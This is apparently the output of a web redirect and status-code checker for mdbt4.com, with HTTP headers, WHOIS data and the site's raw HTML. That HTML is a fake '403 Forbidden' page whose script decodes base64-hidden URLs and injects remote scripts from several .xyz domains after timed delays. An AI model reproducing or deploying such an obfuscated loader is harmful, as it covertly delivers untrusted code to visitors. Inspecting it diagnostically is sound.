check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
301 Moved Permanently - mdbt4.com
HTTP Status: 301
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx/1.26.2
Date: Sat, 17 May 2025 23:48:16 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://mdbt4.com/

HTTP Code 301 Moved Permanently

301 status code means that the requested resource has been permanently moved to a new URL. All future requests should use the new address.

When is Code 301 used?

  • When changing a website domain
  • When modifying URL structures
  • When setting up redirects for SEO

What does Code 301 mean for the user?

The browser will automatically redirect the user to the new address, and search engines will update their indexes.

200 OK - https://mdbt4.com/
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Server: nginx/1.26.2
Date: Sat, 17 May 2025 23:48:16 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Last-Modified: Sat, 17 May 2025 23:48:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache

HTTP Code 200 OK

200 status code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: mdbt4.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<!DOCTYPE html>
<html>
<head>
    <title>403 Forbidden</title>
    <meta charset="utf-8">
</head>
<body>
    <span id='jump' style='display:none;'>no</span>
<script language="javascript" type="text/javascript">
    function d(input){
        rv = window.atob(input);
        rv = escape(rv);
        rv = decodeURIComponent(rv);
        return rv;
    }
    var i = 9;
    var intervalid;
    intervalid = setInterval("counter()", 1000);
    function counter() {
        i--;
        if (i >= 0) {
            document.getElementById("mes").innerHTML = i;
        }
    }

    function sleep (time) {
      return new Promise((resolve) => setTimeout(resolve, time));
    }
sleep(2 * 1000).then(() => {

(function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = d("aHR0cHM6Ly9manAuMzU2NTY5Lnh5ei9qcy5waHA/anVtcCZzbGVlcD0x");
    // window.document.write(s.src + "<br>");
    var x = document.getElementsByTagName('script')[0];
    x.parentNode.insertBefore(s, x);
})();
});
sleep(3 * 1000).then(() => {

(function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = d("aHR0cHM6Ly9qa2IuMjg2ODg1Lnh5ei9qcy5waHA/anVtcCZzbGVlcD0x");
    // window.document.write(s.src + "<br>");
    var x = document.getElementsByTagName('script')[0];
    x.parentNode.insertBefore(s, x);
})();
});
sleep(4 * 1000).then(() => {

(function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = d("aHR0cHM6Ly9jaHAuNTg2MjM1Lnh5ei9qcy5waHA/anVtcCZzbGVlcD0x");
    // window.document.write(s.src + "<br>");
    var x = document.getElementsByTagName('script')[0];
    x.parentNode.insertBefore(s, x);
})();
});
sleep(5 * 1000).then(() => {

(function() {
    var s = document.createElement('script');
    s.type = 'text/javascript';
    s.async = true;
    s.src = d("aHR0cHM6Ly9wcGYuODk1NTY4Lnh5ei9qcy5waHA/anVtcCZzbGVlcD0x");
    // window.document.write(s.src + "<br>");
    var x = document.getElementsByTagName('script')[0];
    x.parentNode.insertBefore(s, x);
})();
});
</script>

    <p align="center"></p>
    <p align="center"><b><font style="font-size: 30pt">
    <br><br><br>
    <center>
        <a style="background: #077727;padding: 10px 40px;margin: 15px;color: #fff;border-radius:8px;cursor: pointer;text-decoration:none;">
            正在检测最新可用线路 ... <span id="mes">9</span>
        </a>

        <br>
        <p id='available_domain_html'></p>
    </center>

<script language="javascript" type="text/javascript">


sleep(10 * 1000).then(() => {

(function() {
    document.getElementById('available_domain_html').innerHTML = '<p style="">域名1: <a href="http://'+d("ZmpwLjM1NjU2OS54eXo=")+'/">'+d("ZmpwLjM1NjU2OS54eXo=")+'</a><p>'+'<p style="">域名2: <a href="http://'+d("amtiLjI4Njg4NS54eXo=")+'/">'+d("amtiLjI4Njg4NS54eXo=")+'</a><p>'+'<p style="">域名3: <a href="http://'+d("Y2hwLjU4NjIzNS54eXo=")+'/">'+d("Y2hwLjU4NjIzNS54eXo=")+'</a><p>'+'<p style="">域名4: <a href="http://'+d("cHBmLjg5NTU2OC54eXo=")+'/">'+d("cHBmLjg5NTU2OC54eXo=")+'</a><p>';
})();
});

</script>
</body>
</html>

Whois info of domain

Domain Name: MDBT4.COM
Registry Domain ID: 2833389870_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2024-11-27T14:55:50Z
Creation Date: 2023-11-28T17:30:57Z
Registry Expiry Date: 2025-11-28T17:30:57Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: ARA.NS.CLOUDFLARE.COM
Name Server: NICK.NS.CLOUDFLARE.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-17T23:48:00Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
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